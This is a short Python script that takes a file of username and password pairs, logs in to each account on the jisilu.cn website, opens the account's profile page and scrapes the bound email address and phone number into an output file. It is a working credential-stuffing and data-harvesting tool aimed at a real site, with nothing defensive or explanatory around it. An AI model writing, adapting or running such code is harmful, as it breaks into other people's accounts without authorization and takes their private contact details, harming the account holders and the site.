import requests
from f42.extract import extract,extract_all
import traceback

URL = "http://www.jisilu.cn/account/ajax/login_process/"


def login(u, password):
    for i in range(3):
        try:
            return requests.post(
                URL,
                dict(
                    return_url = "http://www.jisilu.cn/",
                    user_name = u,
                    password = password,
                    net_auto_login = 1,
                    _post_type = "ajax"
                ),
                timeout=30
            )
        except:
            traceback.print_exc()

def main():
    with open("user_mail.txt","w") as out:
        with open("user_password.txt") as f:
            for i in reversed(list(f)):
                username, password = i.strip().split(" ",1)
                r = login(username, password)
                if r:
                    for i in range(3):
                        try:
                            html = requests.get(
                                "http://www.jisilu.cn/setting/profile/",
                                cookies=r.cookies,
                                timeout=30
                            ).content.decode('utf-8','ignore')
                            break
                        except:
                            traceback.print_exc()
                            html = ''
                    #print(html)
                    #input()
                    mail = extract("<dt>绑定邮箱:</dt>","</dl>",html) or ''
                    mail = extract("<dd>","</dd>",mail) or ''
                    if "<br>" in mail:
                        mail = mail[:mail.find('<br>')].strip()
                    phone = extract("<dt>绑定手机:</dt>","</dl>",html) or ''
                    phone = extract("<dd>","<dd>",phone) or ''
                    if "请正确填写" in mail:
                        mail = 0
                    if "请正确填写" in phone:
                        phone = 0
                    line = "%s %s %s\n"%(username, mail,phone)
                    out.write(line)
                    out.flush()

if __name__ == "__main__":
    main()
